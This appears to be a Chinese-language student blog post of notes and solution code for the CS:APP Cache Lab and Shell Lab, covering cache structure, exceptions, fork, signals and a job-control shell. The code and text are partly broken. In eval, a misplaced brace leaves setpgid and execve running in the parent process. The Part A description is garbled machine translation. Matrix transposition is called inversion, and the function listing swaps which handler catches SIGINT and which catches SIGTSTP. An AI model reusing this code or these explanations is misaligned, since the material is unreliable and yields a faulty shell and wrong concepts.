                      +--> entry_of_lines| |    +-----+
+--------------+      |  +---------------+ |
| cache0       +------+                    |    +-----+
| entry_of_sets|      |  +---------------+ +---->lineX|
+--------------+      |  | set2          |      +-----+
                      +--> entry_of_lines|
                      |  +---------------+
                      |
                      |  +---------------+
                      |  | setX          |
                      +--> entry_of_lines|
                         +---------------+

Cache的内部组织结构如下图所示。Cache共有S组，每组E行，每行包括一个有效位(valid bit)，一个标签和B比特数据。当E=1时，称为直接映射，当E > 1时，称为E路组相连。

PartA

部分您将编写一个缓存模拟器在csim.c valgrind记忆痕迹作为输入,模拟了冲击/小姐的行为该跟踪高速缓冲存储器,和输出的总数,想念和驱逐。

我们已经给你提供了参考的二进制可执行缓存模拟器,称为csim-ref,模拟一个缓存的行为具有任意valgrind跟踪文件大小和结合性。它使用LRU(最近最少使用)替代政策在选择高速缓存线路驱逐。

实验要求

对应的 cache 结构体和 csim.c 要实现的函数在 cachelab.h 中

/* 
 * cachelab.h - Prototypes for Cache Lab helper functions
 */

#ifndef CACHELAB_TOOLS_H
#define CACHELAB_TOOLS_H

#define MAX_TRANS_FUNCS 100

typedef struct trans_func{
  void (*func_ptr)(int M,int N,int[N][M],int[M][N]);
  char* description;
  char correct;
  unsigned int num_hits;
  unsigned int num_misses;
  unsigned int num_evictions;
} trans_func_t;

/* 
 * printSummary - This function provides a standard way for your cache
 * simulator * to display its final hit and miss statistics
 */ 
void printSummary(int hits,  /* number of  hits */
				  int misses, /* number of misses */
				  int evictions); /* number of evictions */

/* Fill the matrix with data */
void initMatrix(int M, int N, int A[N][M], int B[M][N]);

/* The baseline trans function that produces correct results. */
void correctTrans(int M, int N, int A[N][M], int B[M][N]);

/* Add the given function to the function list */
void registerTransFunction(
    void (*trans)(int M,int N,int[N][M],int[M][N]), char* desc);

#endif /* CACHELAB_TOOLS_H */

cache的结构被设计为

struct sCache
{
    int vaild; //是否空闲
    int tag; //标记位
    int count; //访问计数
};

然后更具 tag 来匹配记录hits 值

Part B

实现逆矩阵。要求Cache miss的次数越少越好。

我们需要安装 valgrind

apt install valgrind

然后才能运行

1
2
3

./test-trans -M 32 -N 32
./test-trans -M 64 -N 64
./test-trans -M 61 -N 67

参考

https://zhuanlan.zhihu.com/p/142942823

举证处理过程

shell lab

介绍

这个作业的目的是成为更熟悉过程控制和信号的概念。为此,你将编写一个简单的Unix shell程序支持作业控制。

我们要利用到 异常控制流 ECF ECF是操作系统用来实现1/0、进程和虚拟内存的基本机制。

异常和异常处理

在任何情况下,当处理器检测到有事件发生时,它就会通过一张叫做 异常表(exception table) 的跳转表,进行一个间接过程调用(异常),到一个专门设计用来处理这类事件的操作系统子程序(异常处理程序(exception handler)),。当异常处理程序完成处理后,根据引起异常的事件的类型,会发生以下3种情况中的一种:

对于每种异常，都有一个对应的唯一非负整数的异常号。根据异常表存在对应的跳转表

异常的类型

用户模式和内核模式

运行应用程序代码的进程初始时是在用户模式中的。

进程从用户模式变为内核模式的 唯一方法 是通过诸如 中断、故障或者陷入系统调用这样的异常。

当异常发生时,控制传递到异常处理程序,处理器将模式从用户模式变为内核模式。
处理程序运行在内核模式中,当它返回到应用程序代码时,处理器就把模式从内核模式改回到用户模式。

fork函数

fork函数是有趣的(也常常令人迷惑),因为它只被调用一次,却会返回两次:一次是在调用进程(父进程)中,一次是在新创建的子进程中。在父进程中, fork返回子进程的PID。在子进程中, fork返回0。因为子进程的PID总是为非零,返回值就提供一个明确的方法来分辨程序是在父进程还是在子进程中执行。

信号

允许进程和内核中断其他进程

每种信号类型都对应于某种系统类型。

作业

作业状态：FG（前景），BG（背景），ST（已停止）

作业状态转换和启用操作：

FG-> ST：ctrl-z

ST-> FG：fg命令

ST-> BG：bg命令

BG-> FG：fg命令

FG状态最多可以有1个工作。

需要完成的函数

void eval(char *cmdline);：解析和解释命令行的主例程。 [70行]

int builtin_cmd(char **argv);：识别并解释内置命令：quit，fg，bg和job。 [25行]

void do_bgfg(char **argv);：实现bg和fg内置命令。 [50行]

void waitfg(pid_t pid);：等待前台作业完成。 [20行]

void sigchld_handler(int sig);：捕获SIGCHILD信号。 [80行]

void sigtstp_handler(int sig);：捕获SIGINT（ctrl-c）信号。 [15行]

void sigint_handler(int sig);：捕获SIGTSTP（ctrl-z）信号。 [15行]

http://csapp.cs.cmu.edu/3e/shlab.pdf

http://www.cs.cmu.edu/afs/cs/academic/class/15213-f15/www/recitations/rec09.pdf

在main 函数中，有个 while 循环，我们要实现 eval 函数，从而让程序能运行起来。

。while (1) {

        /* Read command line */
        if (emit_prompt) {
            printf("%s", prompt);
            fflush(stdout);
        }
        if ((fgets(cmdline, MAXLINE, stdin) == NULL) && ferror(stdin))
            app_error("fgets error");
        if (feof(stdin)) { /* End of file (ctrl-d) */
            fflush(stdout);
            exit(0);
        }

        /* Evaluate the command line */
        eval(cmdline);
        fflush(stdout);
        fflush(stdout);
    }

每次对读入的 cmdline 进行eval 指令

eval

/*
eval-评估用户刚刚输入的命令行

如果用户已请求内置命令(quit, jobs, bg or fg)，则立即执行该命令。
否则，请派生一个子进程并在该子进程的上下文中运行该作业。
如果作业在前台运行，请等待其终止然后返回。
注意：每个子进程必须具有唯一的进程组ID，以便当我们在键盘上键入ctrl-c（ctrl-z）时，我们的后台子进程不会从内核接收SIGINT（SIGTSTP）。
*/
void eval(char *cmdline) 
{
    char *argv[MAXARGS]; /* Argument list execve() */
    char buf[MAXLINE];   /* Holds modified command line */
    int bg;              /* Should the job run in bg or fg? */
    pid_t pid;           /* Process id */
    int state = UNDEF;
    sigset_t mask_all, mask_one, prev_one;

    strcpy(buf, cmdline);
    bg = parseline(buf, argv); // buf -> argv
    //判断是否在后台
    if(bg == 1) state = BG;
    else state = FG;  

    if (argv[0] == NULL)  { return; }   /* Ignore empty lines */  // 没有指令

    sigfillset(&mask_all); //防止竞争
    sigemptyset(&mask_one);
    sigaddset(&mask_one, SIGCHLD); // ignore the SIGHLD

    sigprocmask(SIG_BLOCK, &mask_one, &prev_one); //block SIGHLD and save previous blocked set

    if (!builtin_cmd(argv)) {  //如果不是内置命令
        if ((pid = fork()) == 0) {
        sigprocmask(SIG_UNBLOCK, &prev_one, NULL); //Restore previous blocked set, unblocking SIGHLD
        }
        if (setpgid(0, 0) < 0) { // change the group id into pid
            perror("SETPGID ERROR");
            exit(0);
        }
        if (execve(argv[0], argv, environ) < 0) {
            printf("%s: Command not found.\n", argv[0]);
            exit(0);
        }
    }
    sigprocmask(SIG_BLOCK, &mask_all, NULL);
    addjob(jobs, pid, state, cmdline);  //add job
    sigprocmask(SIG_UNBLOCK, &prev_one, NULL);
    if(state == FG) { // if FG wait until finsihed else just print message
        waitfg(pid);  //等待前台程序执行
    }
    else{
        printf("[%d] (%d) %s", pid2jid(pid), pid, cmdline);
    }
    return;
}

然后函数和对应信号设置的结构如下

main --> sigint_handler
     |
     --> sigtstp_handler
     |
     --> sigchld_handler
     |
     --> eval
------------------------------------------------------    

eval --> builtin_cmd(argv) --> do_bgfg(argv)
		|
		 --> waitfg(pig)

我们需要一次完成。

Builtin_cmd 首先判断传入 eval 的 cmdline 是否是内置命令

quit: 退出当前shell
jobs: 列出所有后台运行的工作
bg : 这个命令将会向代表的工作发送SIGCONT信号并放在后台运行，可以是一个PID也可以是一个JID（job ID）。
fg : 这个命令会向代表的工作发送SIGCONT信号并放在前台运行，可以是一个PID也可以是一个JID（job ID）。

关键函数

/* 
 * builtin_cmd - If the user has typed a built-in command then execute
 *    it immediately.  
 */
/*
builtin_cmd-如果用户键入了内置命令，请立即执行。
*/
int builtin_cmd(char **argv) 
{
    // 我们内置了 quit & bg jobs 四个指令
    if(!strcmp(argv[0],"quit"))
        exit(0);
    if(!strcmp(argv[0],"&"))
        return 1;
    if(!strcmp(argv[0],"bg")||!strcmp(argv[0],"fg")){
        do_bgfg(argv);
        return 1;
    }
    if(!strcmp(argv[0],"jobs")){
        listjobs(jobs);
        return 1;
    }

    return 0;     /* not a builtin command */
}

/* 
 * do_bgfg - Execute the builtin bg and fg commands
 */
/*
do_bgfg-执行内置的bg和fg命令
*/
void do_bgfg(char **argv) 
{
    pid_t pid;
    struct job_t *job;
    char *id = argv[1];

    if(id==NULL){       /*bg or fg has the argument?*/
        printf("%s command requires PID or %%jobid argument\n",argv[0]);
        return;
    }

    if(id[0]=='%'){     /*the argument is a job id*/
        int jid = atoi(&id[1]);
        job = getjobjid(jobs,jid);
        if(job==NULL){
            printf("%%%d: No such job\n",jid);
            return;
        }
    }else if(isdigit(id[0])){               /*the argument is a pid is a digit number?*/
        pid = atoi(id);
        job = getjobpid(jobs,pid);
        if(job==NULL){
            printf("(%d): No such process\n",pid);
            return ;
        }
    }else{
        printf("%s: argument must be a PID or %%jobid\n", argv[0]);
        return;
    }

    Kill(-(job->pid),SIGCONT); /*send the SIGCONT to the pid*/

    if(!strcmp(argv[0],"bg")){ /*set job state ,do it in bg or fg*/
        job->state = BG;
        printf("[%d] (%d) %s", job->jid, job->pid,job->cmdline);
    }else{
        job->state = FG;
        waitfg(job->pid);
    }
    return;
}

/* 
 * waitfg - Block until process pid is no longer the foreground process
 */
/*
waitfg-阻塞直到进程pid不再是前台进程
*/
void waitfg(pid_t pid)
{
    while(pid == fgpid(jobs)){
        sleep(0);
    }
    return;
}

/*****************
 * Signal handlers
 *****************/

/* 
 * sigchld_handler - The kernel sends a SIGCHLD to the shell whenever
 *     a child job terminates (becomes a zombie), or stops because it
 *     received a SIGSTOP or SIGTSTP signal. The handler reaps all
 *     available zombie children, but doesn't wait for any other
 *     currently running children to terminate.  
 */
/*
sigchld_handler-每当子作业终止（成为僵尸）或由于接收到SIGSTOP或SIGTSTP信号而停止时，内核都会将SIGCHLD发送到外壳。
处理程序会收割所有可用的僵尸子级，但不等待其他任何当前运行的子级终止。
*/
void sigchld_handler(int sig) 
{
    pid_t pid;
    int status;
    while((pid = waitpid(-1,&status,WNOHANG|WUNTRACED))>0){
        if(WIFEXITED(status)){  /*process is exited in normal way*/
            deletejob(jobs,pid);
        }
        if(WIFSIGNALED(status)){/*process is terminated by a signal*/
            printf("Job [%d] (%d) terminated by signal %d\n",pid2jid(pid),pid,WTERMSIG(status));
            deletejob(jobs,pid);
        }
        if(WIFSTOPPED(status)){/*process is stop because of a signal*/
            printf("Job [%d] (%d) stopped by signal %d\n",pid2jid(pid),pid,WSTOPSIG(status));
            struct job_t *job = getjobpid(jobs,pid);
            if(job !=NULL )job->state = ST;
        }
    }
    if(errno != ECHILD)
        unix_error("waitpid error");
    return;
}

/* 
 * sigint_handler - The kernel sends a SIGINT to the shell whenver the
 *    user types ctrl-c at the keyboard.  Catch it and send it along
 *    to the foreground job.  
 */
/*
sigint处理程序-每当用户在键盘上键入ctrl-c时，内核都会将SIGINT发送到外壳。
赶上并将其发送到前台作业。
*/
void sigint_handler(int sig) 
{
    pid_t pid = fgpid(jobs);
    if(pid != 0){
        Kill(-pid,SIGINT);
        /*let the sigchld_handler to delete the job in jobs?*/
    }
    return;
}

/*
 * sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever
 *     the user types ctrl-z at the keyboard. Catch it and suspend the
 *     foreground job by sending it a SIGTSTP.  
 */
/*
sigtstp_handler-每当用户在键盘上键入ctrl-z时，内核就会将SIGTSTP发送到外壳。
捕获它并通过向其发送SIGTSTP来挂起前台作业。
*/
void sigtstp_handler(int sig) 
{
    pid_t pid = fgpid(jobs);

    if(pid!=0 ){
        struct job_t *job = getjobpid(jobs,pid);
        if(job->state == ST){  /*already stop the job ,dot do it again*/
            return;
        }else{
            Kill(-pid,SIGTSTP);
        }
    }
    return;
}